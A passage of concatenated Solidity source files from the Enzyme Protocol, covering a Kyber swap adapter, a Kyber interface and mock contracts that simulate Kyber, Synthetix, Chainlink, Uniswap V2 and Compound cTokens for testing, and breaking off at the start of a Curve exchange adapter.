/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function takeOrder(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
fundAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
(
address incomingAsset,
uint256 minIncomingAssetAmount,
address outgoingAsset,
uint256 outgoingAssetAmount
) = __decodeCallArgs(_encodedCallArgs);
uint256 minExpectedRate = __calcNormalizedRate(
ERC20(outgoingAsset).decimals(),
outgoingAssetAmount,
ERC20(incomingAsset).decimals(),
minIncomingAssetAmount
);
if (outgoingAsset == WETH_TOKEN) {
__swapNativeAssetToToken(incomingAsset, outgoingAssetAmount, minExpectedRate);
} else if (incomingAsset == WETH_TOKEN) {
__swapTokenToNativeAsset(outgoingAsset, outgoingAssetAmount, minExpectedRate);
} else {
__swapTokenToToken(incomingAsset, outgoingAsset, outgoingAssetAmount, minExpectedRate);
}
}
// PRIVATE FUNCTIONS
/// @dev Helper to decode the encoded call arguments
function __decodeCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (
address incomingAsset_,
uint256 minIncomingAssetAmount_,
address outgoingAsset_,
uint256 outgoingAssetAmount_
)
{
return abi.decode(_encodedCallArgs, (address, uint256, address, uint256));
}
/// @dev Executes a swap of ETH to ERC20
function __swapNativeAssetToToken(
address _incomingAsset,
uint256 _outgoingAssetAmount,
uint256 _minExpectedRate
) private {
IWETH(payable(WETH_TOKEN)).withdraw(_outgoingAssetAmount);
IKyberNetworkProxy(EXCHANGE).swapEtherToToken{value: _outgoingAssetAmount}(
_incomingAsset,
_minExpectedRate
);
}
/// @dev Executes a swap of ERC20 to ETH
function __swapTokenToNativeAsset(
address _outgoingAsset,
uint256 _outgoingAssetAmount,
uint256 _minExpectedRate
) private {
__approveMaxAsNeeded(_outgoingAsset, EXCHANGE, _outgoingAssetAmount);
IKyberNetworkProxy(EXCHANGE).swapTokenToEther(
_outgoingAsset,
_outgoingAssetAmount,
_minExpectedRate
);
IWETH(payable(WETH_TOKEN)).deposit{value: payable(address(this)).balance}();
}
/// @dev Executes a swap of ERC20 to ERC20
function __swapTokenToToken(
address _incomingAsset,
address _outgoingAsset,
uint256 _outgoingAssetAmount,
uint256 _minExpectedRate
) private {
__approveMaxAsNeeded(_outgoingAsset, EXCHANGE, _outgoingAssetAmount);
IKyberNetworkProxy(EXCHANGE).swapTokenToToken(
_outgoingAsset,
_outgoingAssetAmount,
_incomingAsset,
_minExpectedRate
);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `EXCHANGE` variable
/// @return exchange_ The `EXCHANGE` variable value
function getExchange() external view returns (address exchange_) {
return EXCHANGE;
}
/// @notice Gets the `WETH_TOKEN` variable
/// @return wethToken_ The `WETH_TOKEN` variable value
function getWethToken() external view returns (address wethToken_) {
return WETH_TOKEN;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title Kyber Network interface
interface IKyberNetworkProxy {
function swapEtherToToken(address, uint256) external payable returns (uint256);
function swapTokenToEther(
address,
uint256,
uint256
) external returns (uint256);
function swapTokenToToken(
address,
uint256,
address,
uint256
) external returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../release/utils/MathHelpers.sol";
import "../prices/CentralizedRateProvider.sol";
import "../utils/SwapperBase.sol";
contract MockKyberIntegratee is SwapperBase, Ownable, MathHelpers {
using SafeMath for uint256;
address private immutable CENTRALIZED_RATE_PROVIDER;
address private immutable WETH;
uint256 private constant PRECISION = 18;
// Deviation set in % defines the MAX deviation per block from the mean rate
uint256 private blockNumberDeviation;
constructor(
address _centralizedRateProvider,
address _weth,
uint256 _blockNumberDeviation
) public {
CENTRALIZED_RATE_PROVIDER = _centralizedRateProvider;
WETH = _weth;
blockNumberDeviation = _blockNumberDeviation;
}
function swapEtherToToken(address _destToken, uint256) external payable returns (uint256) {
uint256 destAmount = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValueRandomized(WETH, msg.value, _destToken, blockNumberDeviation);
__swapAssets(msg.sender, ETH_ADDRESS, msg.value, _destToken, destAmount);
return msg.value;
}
function swapTokenToEther(
address _srcToken,
uint256 _srcAmount,
uint256
) external returns (uint256) {
uint256 destAmount = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValueRandomized(_srcToken, _srcAmount, WETH, blockNumberDeviation);
__swapAssets(msg.sender, _srcToken, _srcAmount, ETH_ADDRESS, destAmount);
return _srcAmount;
}
function swapTokenToToken(
address _srcToken,
uint256 _srcAmount,
address _destToken,
uint256
) external returns (uint256) {
uint256 destAmount = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValueRandomized(_srcToken, _srcAmount, _destToken, blockNumberDeviation);
__swapAssets(msg.sender, _srcToken, _srcAmount, _destToken, destAmount);
return _srcAmount;
}
function setBlockNumberDeviation(uint256 _deviationPct) external onlyOwner {
blockNumberDeviation = _deviationPct;
}
function getExpectedRate(
address _srcToken,
address _destToken,
uint256 _amount
) external returns (uint256 rate_, uint256 worstRate_) {
if (_srcToken == ETH_ADDRESS) {
_srcToken = WETH;
}
if (_destToken == ETH_ADDRESS) {
_destToken = WETH;
}
uint256 destAmount = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValueRandomizedBySender(_srcToken, _amount, _destToken);
rate_ = __calcNormalizedRate(
ERC20(_srcToken).decimals(),
_amount,
ERC20(_destToken).decimals(),
destAmount
);
worstRate_ = rate_.mul(uint256(100).sub(blockNumberDeviation)).div(100);
}
///////////////////
// STATE GETTERS //
///////////////////
function getCentralizedRateProvider() public view returns (address) {
return CENTRALIZED_RATE_PROVIDER;
}
function getWeth() public view returns (address) {
return WETH;
}
function getBlockNumberDeviation() public view returns (uint256) {
return blockNumberDeviation;
}
function getPrecision() public pure returns (uint256) {
return PRECISION;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./../../release/interfaces/ISynthetixExchangeRates.sol";
import "../prices/MockChainlinkPriceSource.sol";
/// @dev This price source offers two different options getting prices
/// The first one is getting a fixed rate, which can be useful for tests
/// The second approach calculates dinamically the rate making use of a chainlink price source
/// Mocks the functionality of the folllowing Synthetix contracts: { Exchanger, ExchangeRates }
contract MockSynthetixPriceSource is Ownable, ISynthetixExchangeRates {
using SafeMath for uint256;
mapping(bytes32 => uint256) private fixedRate;
mapping(bytes32 => AggregatorInfo) private currencyKeyToAggregator;
enum RateAsset {ETH, USD}
struct AggregatorInfo {
address aggregator;
RateAsset rateAsset;
}
constructor(address _ethUsdAggregator) public {
currencyKeyToAggregator[bytes32("ETH")] = AggregatorInfo({
aggregator: _ethUsdAggregator,
rateAsset: RateAsset.USD
});
}
function setPriceSourcesForCurrencyKeys(
bytes32[] calldata _currencyKeys,
address[] calldata _aggregators,
RateAsset[] calldata _rateAssets
) external onlyOwner {
require(
_currencyKeys.length == _aggregators.length &&
_rateAssets.length == _aggregators.length
);
for (uint256 i = 0; i < _currencyKeys.length; i++) {
currencyKeyToAggregator[_currencyKeys[i]] = AggregatorInfo({
aggregator: _aggregators[i],
rateAsset: _rateAssets[i]
});
}
}
function setRate(bytes32 _currencyKey, uint256 _rate) external onlyOwner {
fixedRate[_currencyKey] = _rate;
}
/// @dev Calculates the rate from a currency key against USD
function rateAndInvalid(bytes32 _currencyKey)
external
view
override
returns (uint256 rate_, bool isInvalid_)
{
uint256 storedRate = getFixedRate(_currencyKey);
if (storedRate != 0) {
rate_ = storedRate;
} else {
AggregatorInfo memory aggregatorInfo = getAggregatorFromCurrencyKey(_currencyKey);
address aggregator = aggregatorInfo.aggregator;
if (aggregator == address(0)) {
rate_ = 0;
isInvalid_ = true;
return (rate_, isInvalid_);
}
uint256 decimals = MockChainlinkPriceSource(aggregator).decimals();
rate_ = uint256(MockChainlinkPriceSource(aggregator).latestAnswer()).mul(
10**(uint256(18).sub(decimals))
);
if (aggregatorInfo.rateAsset == RateAsset.ETH) {
uint256 ethToUsd = uint256(
MockChainlinkPriceSource(
getAggregatorFromCurrencyKey(bytes32("ETH"))
.aggregator
)
.latestAnswer()
);
rate_ = rate_.mul(ethToUsd).div(10**8);
}
}
isInvalid_ = (rate_ == 0);
return (rate_, isInvalid_);
}
///////////////////
// STATE GETTERS //
///////////////////
function getAggregatorFromCurrencyKey(bytes32 _currencyKey)
public
view
returns (AggregatorInfo memory _aggregator)
{
return currencyKeyToAggregator[_currencyKey];
}
function getFixedRate(bytes32 _currencyKey) public view returns (uint256) {
return fixedRate[_currencyKey];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
contract MockChainlinkPriceSource {
event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 timestamp);
uint256 public DECIMALS;
int256 public latestAnswer;
uint256 public latestTimestamp;
uint256 public roundId;
address public aggregator;
constructor(uint256 _decimals) public {
DECIMALS = _decimals;
latestAnswer = int256(10**_decimals);
latestTimestamp = now;
roundId = 1;
aggregator = address(this);
}
function setLatestAnswer(int256 _nextAnswer, uint256 _nextTimestamp) external {
latestAnswer = _nextAnswer;
latestTimestamp = _nextTimestamp;
roundId = roundId + 1;
emit AnswerUpdated(latestAnswer, roundId, latestTimestamp);
}
function setAggregator(address _nextAggregator) external {
aggregator = _nextAggregator;
}
function decimals() public view returns (uint256) {
return DECIMALS;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./../../release/interfaces/ISynthetixExchangeRates.sol";
import "../prices/CentralizedRateProvider.sol";
import "../tokens/MockSynthetixToken.sol";
/// @dev Synthetix Integratee. Mocks functionalities from the folllowing synthetix contracts
/// Synthetix, SynthetixAddressResolver, SynthetixDelegateApprovals
/// Link to contracts: <https://github.com/Synthetixio/synthetix/tree/develop/contracts>
contract MockSynthetixIntegratee is Ownable, MockToken {
using SafeMath for uint256;
mapping(address => mapping(address => bool)) private authorizerToDelegateToApproval;
mapping(bytes32 => address) private currencyKeyToSynth;
address private immutable CENTRALIZED_RATE_PROVIDER;
address private immutable EXCHANGE_RATES;
uint256 private immutable FEE;
uint256 private constant UNIT_FEE = 1000;
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals,
address _centralizedRateProvider,
address _exchangeRates,
uint256 _fee
) public MockToken(_name, _symbol, _decimals) {
CENTRALIZED_RATE_PROVIDER = _centralizedRateProvider;
EXCHANGE_RATES = address(_exchangeRates);
FEE = _fee;
}
receive() external payable {}
function exchangeOnBehalfWithTracking(
address _exchangeForAddress,
bytes32 _srcCurrencyKey,
uint256 _srcAmount,
bytes32 _destinationCurrencyKey,
address,
bytes32
) external returns (uint256 amountReceived_) {
require(
canExchangeFor(_exchangeForAddress, msg.sender),
"exchangeOnBehalfWithTracking: Not approved to act on behalf"
);
amountReceived_ = __calculateAndSwap(
_exchangeForAddress,
_srcAmount,
_srcCurrencyKey,
_destinationCurrencyKey
);
return amountReceived_;
}
function getAmountsForExchange(
uint256 _srcAmount,
bytes32 _srcCurrencyKey,
bytes32 _destCurrencyKey
)
public
returns (
uint256 amountReceived_,
uint256 fee_,
uint256 exchangeFeeRate_
)
{
address srcToken = currencyKeyToSynth[_srcCurrencyKey];
address destToken = currencyKeyToSynth[_destCurrencyKey];
require(
currencyKeyToSynth[_srcCurrencyKey] != address(0) &&
currencyKeyToSynth[_destCurrencyKey] != address(0),
"getAmountsForExchange: Currency key doesn't have an associated synth"
);
uint256 destAmount = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValueRandomizedBySender(srcToken, _srcAmount, destToken);
exchangeFeeRate_ = FEE;
amountReceived_ = destAmount.mul(UNIT_FEE.sub(exchangeFeeRate_)).div(UNIT_FEE);
fee_ = destAmount.sub(amountReceived_);
return (amountReceived_, fee_, exchangeFeeRate_);
}
function setSynthFromCurrencyKeys(bytes32[] calldata _currencyKeys, address[] calldata _synths)
external
{
require(
_currencyKeys.length == _synths.length,
"setSynthFromCurrencyKey: Unequal _currencyKeys and _synths lengths"
);
for (uint256 i = 0; i < _currencyKeys.length; i++) {
currencyKeyToSynth[_currencyKeys[i]] = _synths[i];
}
}
function approveExchangeOnBehalf(address _delegate) external {
authorizerToDelegateToApproval[msg.sender][_delegate] = true;
}
function __calculateAndSwap(
address _exchangeForAddress,
uint256 _srcAmount,
bytes32 _srcCurrencyKey,
bytes32 _destCurrencyKey
) private returns (uint256 amountReceived_) {
MockSynthetixToken srcSynth = MockSynthetixToken(currencyKeyToSynth[_srcCurrencyKey]);
MockSynthetixToken destSynth = MockSynthetixToken(currencyKeyToSynth[_destCurrencyKey]);
require(address(srcSynth) != address(0), "__calculateAndSwap: Source synth is not listed");
require(
address(destSynth) != address(0),
"__calculateAndSwap: Destination synth is not listed"
);
require(
!srcSynth.isLocked(_exchangeForAddress),
"__calculateAndSwap: Cannot settle during waiting period"
);
(amountReceived_, , ) = getAmountsForExchange(
_srcAmount,
_srcCurrencyKey,
_destCurrencyKey
);
srcSynth.burnFrom(_exchangeForAddress, _srcAmount);
destSynth.mintFor(_exchangeForAddress, amountReceived_);
destSynth.lock(_exchangeForAddress);
return amountReceived_;
}
function requireAndGetAddress(bytes32 _name, string calldata)
external
view
returns (address resolvedAddress_)
{
if (_name == "ExchangeRates") {
return EXCHANGE_RATES;
}
return address(this);
}
function settle(address, bytes32)
external
returns (
uint256,
uint256,
uint256
)
{}
///////////////////
// STATE GETTERS //
///////////////////
function canExchangeFor(address _authorizer, address _delegate)
public
view
returns (bool canExchange_)
{
return authorizerToDelegateToApproval[_authorizer][_delegate];
}
function getExchangeRates() public view returns (address exchangeRates_) {
return EXCHANGE_RATES;
}
function getFee() public view returns (uint256 fee_) {
return FEE;
}
function getSynthFromCurrencyKey(bytes32 _currencyKey) public view returns (address synth_) {
return currencyKeyToSynth[_currencyKey];
}
function getUnitFee() public pure returns (uint256 fee_) {
return UNIT_FEE;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../prices/CentralizedRateProvider.sol";
import "./utils/SimpleMockIntegrateeBase.sol";
/// @dev Mocks the integration with `UniswapV2Router02` <https://uniswap.org/docs/v2/smart-contracts/router02/>
/// Additionally mocks the integration with `UniswapV2Factory` <https://uniswap.org/docs/v2/smart-contracts/factory/>
contract MockUniswapV2Integratee is SwapperBase, Ownable {
using SafeMath for uint256;
mapping(address => mapping(address => address)) private assetToAssetToPair;
address private immutable CENTRALIZED_RATE_PROVIDER;
uint256 private constant PRECISION = 18;
// Set in %, defines the MAX deviation per block from the mean rate
uint256 private blockNumberDeviation;
constructor(
address[] memory _listOfToken0,
address[] memory _listOfToken1,
address[] memory _listOfPair,
address _centralizedRateProvider,
uint256 _blockNumberDeviation
) public {
addPair(_listOfToken0, _listOfToken1, _listOfPair);
CENTRALIZED_RATE_PROVIDER = _centralizedRateProvider;
blockNumberDeviation = _blockNumberDeviation;
}
/// @dev Adds the maximum possible value from {_amountADesired _amountBDesired}
/// Makes use of the value interpreter to perform those calculations
function addLiquidity(
address _tokenA,
address _tokenB,
uint256 _amountADesired,
uint256 _amountBDesired,
uint256,
uint256,
address,
uint256
)
external
returns (
uint256,
uint256,
uint256
)
{
__addLiquidity(_tokenA, _tokenB, _amountADesired, _amountBDesired);
}
/// @dev Removes the specified amount of liquidity
/// Returns 50% of the incoming liquidity value on each token.
function removeLiquidity(
address _tokenA,
address _tokenB,
uint256 _liquidity,
uint256,
uint256,
address,
uint256
) public returns (uint256, uint256) {
__removeLiquidity(_tokenA, _tokenB, _liquidity);
}
function swapExactTokensForTokens(
uint256 amountIn,
uint256,
address[] calldata path,
address,
uint256
) external returns (uint256[] memory) {
uint256 amountOut = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValueRandomized(path[0], amountIn, path[1], blockNumberDeviation);
__swapAssets(msg.sender, path[0], amountIn, path[path.length - 1], amountOut);
}
/// @dev We don't calculate any intermediate values here because they aren't actually used
/// Returns the randomized by sender value of the edge path assets
function getAmountsOut(uint256 _amountIn, address[] calldata _path)
external
returns (uint256[] memory amounts_)
{
require(_path.length >= 2, "getAmountsOut: path must be >= 2");
address assetIn = _path[0];
address assetOut = _path[_path.length - 1];
uint256 amountOut = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValueRandomizedBySender(assetIn, _amountIn, assetOut);
amounts_ = new uint256[](_path.length);
amounts_[0] = _amountIn;
amounts_[_path.length - 1] = amountOut;
return amounts_;
}
function addPair(
address[] memory _listOfToken0,
address[] memory _listOfToken1,
address[] memory _listOfPair
) public onlyOwner {
require(
_listOfPair.length == _listOfToken0.length,
"constructor: _listOfPair and _listOfToken0 have an unequal length"
);
require(
_listOfPair.length == _listOfToken1.length,
"constructor: _listOfPair and _listOfToken1 have an unequal length"
);
for (uint256 i; i < _listOfPair.length; i++) {
address token0 = _listOfToken0[i];
address token1 = _listOfToken1[i];
address pair = _listOfPair[i];
assetToAssetToPair[token0][token1] = pair;
assetToAssetToPair[token1][token0] = pair;
}
}
function setBlockNumberDeviation(uint256 _deviationPct) external onlyOwner {
blockNumberDeviation = _deviationPct;
}
// PRIVATE FUNCTIONS
/// Avoids stack-too-deep error.
function __addLiquidity(
address _tokenA,
address _tokenB,
uint256 _amountADesired,
uint256 _amountBDesired
) private {
address pair = getPair(_tokenA, _tokenB);
uint256 amountA;
uint256 amountB;
uint256 amountBFromA = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValue(_tokenA, _amountADesired, _tokenB);
uint256 amountAFromB = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValue(_tokenB, _amountBDesired, _tokenA);
if (amountBFromA >= _amountBDesired) {
amountA = amountAFromB;
amountB = _amountBDesired;
} else {
amountA = _amountADesired;
amountB = amountBFromA;
}
uint256 tokenPerLPToken = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValue(pair, 10**uint256(PRECISION), _tokenA);
// Calculate the inverse rate to know the amount of LPToken to return from a unit of token
uint256 inverseRate = uint256(10**PRECISION).mul(10**PRECISION).div(tokenPerLPToken);
// Total liquidity can be calculated as 2x liquidity from amount A
uint256 totalLiquidity = uint256(2).mul(
amountA.mul(inverseRate).div(uint256(10**PRECISION))
);
require(
ERC20(pair).balanceOf(address(this)) >= totalLiquidity,
"__addLiquidity: Integratee doesn't have enough pair balance to cover the expected amount"
);
address[] memory assetsToIntegratee = new address[](2);
uint256[] memory assetsToIntegrateeAmounts = new uint256[](2);
address[] memory assetsFromIntegratee = new address[](1);
uint256[] memory assetsFromIntegrateeAmounts = new uint256[](1);
assetsToIntegratee[0] = _tokenA;
assetsToIntegrateeAmounts[0] = amountA;
assetsToIntegratee[1] = _tokenB;
assetsToIntegrateeAmounts[1] = amountB;
assetsFromIntegratee[0] = pair;
assetsFromIntegrateeAmounts[0] = totalLiquidity;
__swap(
msg.sender,
assetsToIntegratee,
assetsToIntegrateeAmounts,
assetsFromIntegratee,
assetsFromIntegrateeAmounts
);
}
/// Avoids stack-too-deep error.
function __removeLiquidity(
address _tokenA,
address _tokenB,
uint256 _liquidity
) private {
address pair = assetToAssetToPair[_tokenA][_tokenB];
require(pair != address(0), "__removeLiquidity: this pair doesn't exist");
uint256 amountA = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValue(pair, _liquidity, _tokenA)
.div(uint256(2));
uint256 amountB = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValue(pair, _liquidity, _tokenB)
.div(uint256(2));
address[] memory assetsToIntegratee = new address[](1);
uint256[] memory assetsToIntegrateeAmounts = new uint256[](1);
address[] memory assetsFromIntegratee = new address[](2);
uint256[] memory assetsFromIntegrateeAmounts = new uint256[](2);
assetsToIntegratee[0] = pair;
assetsToIntegrateeAmounts[0] = _liquidity;
assetsFromIntegratee[0] = _tokenA;
assetsFromIntegrateeAmounts[0] = amountA;
assetsFromIntegratee[1] = _tokenB;
assetsFromIntegrateeAmounts[1] = amountB;
require(
ERC20(_tokenA).balanceOf(address(this)) >= amountA,
"__removeLiquidity: Integratee doesn't have enough tokenA balance to cover the expected amount"
);
require(
ERC20(_tokenB).balanceOf(address(this)) >= amountA,
"__removeLiquidity: Integratee doesn't have enough tokenB balance to cover the expected amount"
);
__swap(
msg.sender,
assetsToIntegratee,
assetsToIntegrateeAmounts,
assetsFromIntegratee,
assetsFromIntegrateeAmounts
);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @dev By default set to address(0). It is read by UniswapV2PoolTokenValueCalculator: __calcPoolTokenValue
function feeTo() external pure returns (address) {
return address(0);
}
function getCentralizedRateProvider() public view returns (address) {
return CENTRALIZED_RATE_PROVIDER;
}
function getBlockNumberDeviation() public view returns (uint256) {
return blockNumberDeviation;
}
function getPrecision() public pure returns (uint256) {
return PRECISION;
}
function getPair(address _token0, address _token1) public view returns (address) {
return assetToAssetToPair[_token0][_token1];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./MockIntegrateeBase.sol";
abstract contract SimpleMockIntegrateeBase is MockIntegrateeBase {
constructor(
address[] memory _defaultRateAssets,
address[] memory _specialAssets,
uint8[] memory _specialAssetDecimals,
uint256 _ratePrecision
)
public
MockIntegrateeBase(
_defaultRateAssets,
_specialAssets,
_specialAssetDecimals,
_ratePrecision
)
{}
function __getRateAndSwapAssets(
address payable _trader,
address _srcToken,
uint256 _srcAmount,
address _destToken
) internal returns (uint256 destAmount_) {
uint256 actualRate = __getRate(_srcToken, _destToken);
__swapAssets(_trader, _srcToken, _srcAmount, _destToken, actualRate);
return actualRate;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol";
import "../../prices/CentralizedRateProvider.sol";
import "../../utils/SwapperBase.sol";
contract MockCTokenBase is ERC20, SwapperBase, Ownable {
address internal immutable TOKEN;
address internal immutable CENTRALIZED_RATE_PROVIDER;
uint256 internal rate;
mapping(address => mapping(address => uint256)) internal _allowances;
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals,
address _token,
address _centralizedRateProvider,
uint256 _initialRate
) public ERC20(_name, _symbol) {
_setupDecimals(_decimals);
TOKEN = _token;
CENTRALIZED_RATE_PROVIDER = _centralizedRateProvider;
rate = _initialRate;
}
function approve(address _spender, uint256 _amount) public virtual override returns (bool) {
_allowances[msg.sender][_spender] = _amount;
return true;
}
/// @dev Overriden `allowance` function, give the integratee infinite approval by default
function allowance(address _owner, address _spender) public view override returns (uint256) {
if (_spender == address(this) || _owner == _spender) {
return 2**256 - 1;
} else {
return _allowances[_owner][_spender];
}
}
/// @dev Necessary as this contract doesn't directly inherit from MockToken
function mintFor(address _who, uint256 _amount) external onlyOwner {
_mint(_who, _amount);
}
/// @dev Necessary to allow updates on persistent deployments (e.g Kovan)
function setRate(uint256 _rate) public onlyOwner {
rate = _rate;
}
function transferFrom(
address _sender,
address _recipient,
uint256 _amount
) public virtual override returns (bool) {
_transfer(_sender, _recipient, _amount);
return true;
}
// INTERNAL FUNCTIONS
/// @dev Calculates the cTokenAmount given a tokenAmount
/// Makes use of a inverse rate with the CentralizedRateProvider as a derivative can't be used as quoteAsset
function __calcCTokenAmount(uint256 _tokenAmount) internal returns (uint256 cTokenAmount_) {
uint256 tokenDecimals = ERC20(TOKEN).decimals();
uint256 cTokenDecimals = decimals();
// Result in Token Decimals
uint256 tokenPerCTokenUnit = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValue(address(this), 10**uint256(cTokenDecimals), TOKEN);
// Result in cToken decimals
uint256 inverseRate = uint256(10**tokenDecimals).mul(10**uint256(cTokenDecimals)).div(
tokenPerCTokenUnit
);
// Amount in token decimals, result in cToken decimals
cTokenAmount_ = _tokenAmount.mul(inverseRate).div(10**tokenDecimals);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @dev Part of ICERC20 token interface
function underlying() public view returns (address) {
return TOKEN;
}
/// @dev Part of ICERC20 token interface.
/// Called from CompoundPriceFeed, returns the actual Rate cToken/Token
function exchangeRateStored() public view returns (uint256) {
return rate;
}
function getCentralizedRateProvider() public view returns (address) {
return CENTRALIZED_RATE_PROVIDER;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./MockCTokenBase.sol";
contract MockCTokenIntegratee is MockCTokenBase {
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals,
address _token,
address _centralizedRateProvider,
uint256 _initialRate
)
public
MockCTokenBase(_name, _symbol, _decimals, _token, _centralizedRateProvider, _initialRate)
{}
function mint(uint256 _amount) external returns (uint256) {
uint256 destAmount = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER).calcLiveAssetValue(
TOKEN,
_amount,
address(this)
);
__swapAssets(msg.sender, TOKEN, _amount, address(this), destAmount);
return _amount;
}
function redeem(uint256 _amount) external returns (uint256) {
uint256 destAmount = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER).calcLiveAssetValue(
address(this),
_amount,
TOKEN
);
__swapAssets(msg.sender, address(this), _amount, TOKEN, destAmount);
return _amount;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./MockCTokenBase.sol";
contract MockCEtherIntegratee is MockCTokenBase {
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals,
address _weth,
address _centralizedRateProvider,
uint256 _initialRate
)
public
MockCTokenBase(_name, _symbol, _decimals, _weth, _centralizedRateProvider, _initialRate)
{}
function mint() external payable {
uint256 amount = msg.value;
uint256 destAmount = __calcCTokenAmount(amount);
__swapAssets(msg.sender, ETH_ADDRESS, amount, address(this), destAmount);
}
function redeem(uint256 _amount) external returns (uint256) {
uint256 destAmount = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER).calcLiveAssetValue(
address(this),
_amount,
TOKEN
);
__swapAssets(msg.sender, address(this), _amount, ETH_ADDRESS, destAmount);
return _amount;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../../../interfaces/ICurveAddressProvider.sol";
import "../../../../interfaces/ICurveSwapsERC20.sol";
import "../../../../interfaces/ICurveSwapsEther.sol";
import "../../../../interfaces/IWETH.sol";
import "../utils/AdapterBase.sol";
/// @title CurveExchangeAdapter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Adapter for swapping assets on Curve <https://www.curve.fi/>
contract CurveExchangeAdapter is AdapterBase {
address private constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address private immutable ADDRESS_PROVIDER;
address private immutable WETH_TOKEN;
constructor(
address _integrationManager,
address _addressProvider,
address _wethToken
) public AdapterBase(_integrationManager) {
ADDRESS_PROVIDER = _addressProvider;
WETH_TOKEN = _wethToken;
}
/// @dev Needed to receive ETH from swap and to unwrap WETH
receive() external payable {}
// EXTERNAL FUNCTIONS
/// @notice Provides a constant string identifier for an adapter
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "CURVE_EXCHANGE";
}
/// @notice Parses the expected assets to receive from a call on integration
/// @param _selector The function selector for the callOnIntegration
/// @param _encodedCallArgs The encoded parameters for the callOnIntegration
/// @return spendAssetsHandleType_ A type that dictates how to handle granting
/// the adapter access to spend assets (`None` by default)
/// @return spendAssets_ The assets to spend in the call
/// @return spendAssetAmounts_ The max asset amounts to spend in the call
/// @return incomingAssets_ The assets to receive in the call
/// @return minIncomingAssetAmounts_ The min asset amounts to receive in the call
function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)
external
view
override
returns (
